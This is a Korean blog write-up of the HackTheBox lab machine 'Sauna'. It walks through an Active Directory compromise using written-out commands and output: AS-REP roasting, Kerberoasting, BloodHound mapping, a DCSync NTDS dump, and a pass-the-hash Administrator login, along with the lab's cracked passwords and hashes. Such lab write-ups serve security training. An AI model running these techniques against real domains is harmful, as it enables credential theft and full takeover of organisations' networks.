상세 컨텐츠

본문 제목

[HackTheBox] Sauna

Penetration/HackTheBox

by obscurity_ 2024. 10. 29. 16:24

본문

 

 
nmap --open -p- -Pn --max-retries 1 --min-rate 4000 10.10.10.103 > full
 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 14:40 KST
Nmap scan report for 10.10.10.175
Host is up (0.074s latency).
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49676/tcp open  unknown
49689/tcp open  unknown
49697/tcp open  unknown
 

 

전체 포트를 보면 DNS, LDAP, SMB, globalcataLDAP이 열려있는 것으로 보아

Domain Controller 라는 것을 알 수 있습니다.

우선은 스캔된 정보에서 더 자세한 정보 확인을 위해서

nmap 디테일 스캔을 해줍니다.

 

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-29 12:28:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  unknown
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  unknown
49676/tcp open  unknown
49689/tcp open  unknown
49697/tcp open  unknown
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.46 seconds
 

자세한 스캔 결과 도메인 이름을 획득할 수 있었기에

현재 이 서버의 주소를 /etc/resolve.conf에 추가해주고

도메인 정보는 /etc/hosts 파일에 추가를 해줍니다.

그리고 도메인 정보를 획득했기 때문에 웹 정보수집에서

서브도메인 스캔도 같이 진행을 해줍니다.

 

msrpc에 대해서 익명 바인딩 후에 쿼리를 날려봤는데

익명 권한으로 할 수 있는 쿼리는 없어보입니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# rpcclient -U "" -N 10.10.10.175
rpcclient $> querydominfo
result was NT_STATUS_ACCESS_DENIED
rpcclient $> querydispinfo
result was NT_STATUS_ACCESS_DENIED
 

그래서 SMB와 LDAP에 대해서 익명 바인딩이 가능한지

nxc를 이용해서 테스트 해봅니다.

SMB와 LDAP에 로그인은 되었지만

SMB에서 users 목록이나 shares 목록은 확인하지 못합니다.

그리고 LDAP을 통한 users 플래그 역시 마땅한 정보는 나오지 않았습니다.

 

 

 

about us 탭을 눌렀을 때 나오는 페이지에서는

직원들의 이름이 노출되고 있습니다.

이 이름을 리스트업 한 다음에 AS-REP-Roasting공격을 해줍니다.

 

이 머신에서 특히 마음에 들었던 것은 직원의 이름 정보를 획득했을 때

그것을 가지고 변형하여 목록을 생성한다는 것이었습니다.

 

한국의 경우 조금 다르겠지만 외국의 경우 성과 이름이 있다면

Park YeonWoo가 성/이름이라고 했을 때

P.YeonWoo

Park.YeonWoo

ParkYeonWoo

PYeonWoo 이렇게 다양한 포매팅이 가능합니다.

그래서 이런 포매팅을 해줘서 유저 목록을 만든 다음

AS-REP-Roasting 공격에 취약한지 테스트를 할 수 있습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat Coworkers.txt                          
Fergus.Smith
Hugo.Bear
Steven.Kerb
Shaun.Coins
Bowie.Taylor
Sophie.Driver
F.Smith
H.Bear
S.Kerb
S.Coins
B.Taylor
S.Driver
FergusSmith
HugoBear
StevenKerb
ShaunCoins
BowieTaylor
SophieDriver
FSmith
HBear
SKerb
SCoins
BTaylor
SDriver
 

 

 

이러한 리스트를 가지고 AS-REP-Roasting 공격을 해주는 명령은

impacket-GetNPUsers 모듈을 통해 할 수 있습니다.

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/'' -usersfile Coworkers.txt -dc-ip 10.10.10.175
 

 

그러면 FSmith 계정에서 취약점이 발견되어서 해쉬정보가 노출이 되었으므로

john을 사용하여 해쉬크래킹을 해줍니다.

 

획득한 정보

FSmith : Thestrokes23

 

대상 포트에는 wsman 서비스가 있었기 때문에

evil-winrm으로 접속이 가능한데, 현재 사용자가 연결이 가능한지

여부 확인은 nxc를 사용해줍니다.

 

 

사용자로 로그인이 가능하다는 것을 파악했으니

evil-winrm을 사용해서 fsmith의 쉘을 획득해줍니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23                                 
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
 

 

초기침투에 성공한 이후에는 현재 재사용자가 어떤 권한이 있는지

어떤 그룹에 있는지 파워쉘 히스토리는 있는지 등을 파악해줍니다.

파악을 해줬음에도 별다른 것이 발견되지 않았다면

액티브 디렉토리 내의 취약점이 있을 수 있어서

블러드 하운드를 통해서 AD 정보를 모조리 매핑시켜줍니다.

 

bloodhound-python -u fsmith -p Thestrokes23 -c All --zip -ns 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL
 

그리고 매핑된 정보를 토대로 활성화된 유저 목록을 neo4j 콘솔에서 가져와서

유저 목록으로 만든 후에 이것을 토대로 AS-REP-Roasting을 다시 해줍니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat ASusers.txt                                                      
SVC_LOANMGR
HSMITH
FSMITH
ADMINISTRATOR
AMANDA
SIZZLER
MRLKY
GUEST
ADMINISTRATOR
 

 

AS-REP-Roasting 공격에 취약한건 fsmith 계정밖에 없네요

그럼 fsmith의 계정이 존재하니 커버로스팅 공격을 해봅니다.

crackmapexec ldap 10.10.10.175 -u fsmith -p Thestrokes23 --kerberoasting res.txt
 

커버로스팅 공격을 해보니 HSmith 계정에서 실행하는 서비스가 존재했고

해쉬크래킹이 성공했는데 HSmith 계정의 패스워드는

FSmith 계정과 동일했으며 이 사용자로는 winrm 접속이 불가했습니다.

 

더이상 정보수집 할 게 없어서 자동화 툴을 돌려줍니다.

칼리에서 winPEAS.exe파일을 다운로드 한 뒤 서버를 열고

서버 로컬에서 칼리 로컬의 winPEAS.exe를 다운로드 해줍니다.

 

그리고 svc_loanmanager 계정의 디폴트 패스워드가 노출되어 있습니다.

ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials                                                                                                                                   
    Some AutoLogon credentials were found                                                                                                                                        
    DefaultDomainName             :  EGOTISTICALBANK                                                                                                                             
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager                                                                                                             
    DefaultPassword               :  Moneymakestheworldgoround!   
 

이 정보를 토대로 svc_loanmanager 계정의 디폴트 패스워드가

변경되지 않았다면 로그인이 가능하다는 것을 추론할 수가 있는데

현재 계정 중에는 svc_loanmanager 계정은 존재하지 않습니다.

대신 svc_loanmgr 게정이 존재하는데

이 계정으로 패스워드가 통하는지 테스트를 해봅니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# nxc winrm 10.10.10.175 -u svc_loanmgr -p Moneymakestheworldgoround!     
WINRM       10.10.10.175    5985   SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)
 

계정으로 로그인이 가능하다는 것이 확인이 되었습니다.

다만 이것으로 굳이 로그인 할 필요 없이 DCSync 권한이 있는것을

블러드하운드를 통해서 확인했기 때문에

crackmapexec 모듈을 사용해서 NTDS 정보를 덤핑시켜줍니다.

 

crackmapexec smb 10.10.10.175 -u svc_loanmgr -p Moneymakestheworldgoround! --ntds
 
823452073d75b9d1cf70ebdf86c7f98e
 

Administrator 계정의 NT 해쉬 정보를 빼오는데 성공했습니다.

이제 이 해쉬를 이용해서 winrm 접속을 해줍니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# evil-winrm -i 10.10.10.175 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e      
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
 
 

 

 

'Penetration > HackTheBox' 카테고리의 다른 글

[HackTheBox] Search  (1) 2024.10.30
[HackTheBox] Active  (0) 2024.10.29
[HackTheBox] Return  (2) 2024.10.17
[HackTheBox] Sightless  (0) 2024.10.16
[HackTheBox] Timelapse  (3) 2024.10.15

관련글 더보기